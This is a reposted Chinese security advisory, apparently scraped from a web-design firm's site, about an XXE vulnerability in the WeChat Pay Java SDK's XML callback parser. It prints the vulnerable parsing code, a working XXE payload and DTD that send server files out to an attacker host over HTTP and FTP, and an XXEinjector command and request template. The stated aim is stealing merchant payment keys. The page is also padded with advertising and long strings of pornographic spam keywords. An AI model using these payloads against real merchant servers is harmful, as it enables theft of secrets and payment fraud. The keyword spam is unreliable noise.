欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

微信支付SDK存在XXE漏洞

微信支付SDK存在XXE漏洞

漏洞信息來(lái)源:
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426

創(chuàng)新互聯(lián)專(zhuān)注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都做網(wǎng)站、網(wǎng)站制作、沈丘網(wǎng)絡(luò)推廣、微信小程序、沈丘網(wǎng)絡(luò)營(yíng)銷(xiāo)、沈丘企業(yè)策劃、沈丘品牌公關(guān)、搜索引擎seo、人物專(zhuān)訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);創(chuàng)新互聯(lián)為所有大學(xué)生創(chuàng)業(yè)者提供沈丘建站搭建服務(wù),24小時(shí)服務(wù)熱線:028-86922220,官方網(wǎng)址:www.aaarwkj.com

0x00受影響版本:

JAVA SDK,WxPayAPI_JAVA_v3,建議使用了該版本的公司進(jìn)行異常支付排查。
微信在JAVA版本的SDK中提供callback回調(diào)功能,用來(lái)幫助商家接收異步付款結(jié)果,該接口接受XML格式的數(shù)據(jù),×××者可以構(gòu)造惡意的回調(diào)數(shù)據(jù)(XML格式)來(lái)竊取商家服務(wù)器上的任何信息。一旦×××者獲得了關(guān)鍵支付的安全密鑰(md5-key和商家信息,將可以直接實(shí)現(xiàn)0元支付購(gòu)買(mǎi)任何商品)

0x01漏洞詳情

The SDK  in this page:  https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1
   Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
    or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup )

   README.md in  WxPayApi_JAVA_v3.zip,it show more details:

   notify code example:
    [
        String notifyData = "....";
        MyConfig config = new MyConfig();
        WXPay wxpay = new WXPay(config);
//conver to map
        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);

        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
        }
        else {
         }

     ]
    WXPayUtil source code
   [

  public static Map<String, String> xmlToMap(String strXML) throws
Exception {
    try {
            Map<String, String> data = new HashMap<String, String>();
            /*** not disabled xxe *****/
            //start parse

            DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
            DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);

           //end parse

            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            for (int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
                    data.put(element.getNodeName(), element.getTextContent
());
                }
            }
            try {
                stream.close();
            } catch (Exception ex) {
                // do nothing
            }
            return data;
        } catch (Exception ex) {
            WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
            throw ex;
        }
    }

]

微信支付SDK存在XXE漏洞

0x02利用細(xì)節(jié)

Post merchant notification url with payload:
找到商家的notify


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % attack SYSTEM "file:///etc/">
  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
  %xxe;
]>

data.dtd:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;

or use  XXEinjector tool  【https://github.com/enjoiz/XXEinjector】

ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl

req.txt :
POST merchant_notification_url HTTP/1.1
Host:  merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

XXEINJECT

名稱欄目:微信支付SDK存在XXE漏洞
分享網(wǎng)址:http://www.aaarwkj.com/article44/isjihe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供ChatGPT、動(dòng)態(tài)網(wǎng)站App開(kāi)發(fā)做網(wǎng)站、自適應(yīng)網(wǎng)站、網(wǎng)站排名

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都做網(wǎng)站
日韩毛片中文字幕在线观看| 中日韩中文字幕一区二区| 亚洲熟妇av一区二区| 无毛亚洲视频在线观看| 国产真实老熟女无套内| 国产精品欧美一区二区视频| 成人免费毛片1000部| 日韩精品一区二区三区夜色| 91国内外精品自在线播放| 亚洲av毛片在线网站| 91精品国产在线观看| 精品视频中文字幕天码| 亚欧熟女乱色一二三区日韩| 亚洲天堂福利视频网站| 亚洲av最近在线观看| 亚洲精品一区二区午夜| 两性色午夜视频在线观看| 欧美香蕉在线观看视频| 97成品视频在线播放| 中国女人内射69xx| 国产精品午夜视频免费观看| 日本岛国一区二区在线| 日本美女阴部毛茸茸视频| 欧美日韩国产激情另类| av一级免费在线观看| 厕所偷拍视频一区二区三区| 色婷婷av一区二区三区张| 欧美亚洲综合另类色妞| 日韩欧美亚洲一级黄片| 91人妻精品丰满少妇区| 久久人人97超碰人人爱一久久精品| 中文字幕色视频在线观看| 国产av一区二区三区最新精品| 中文日韩av在线免费播放| 亚洲成人黄色片在线观看| 亚洲国产精品一区一区| 亚洲久久精品中文字幕| 日本国产在线一区二区| 97视频精品在线播放| 亚洲欧美日韩成人在线观看| 中文字幕人妻熟女人妻|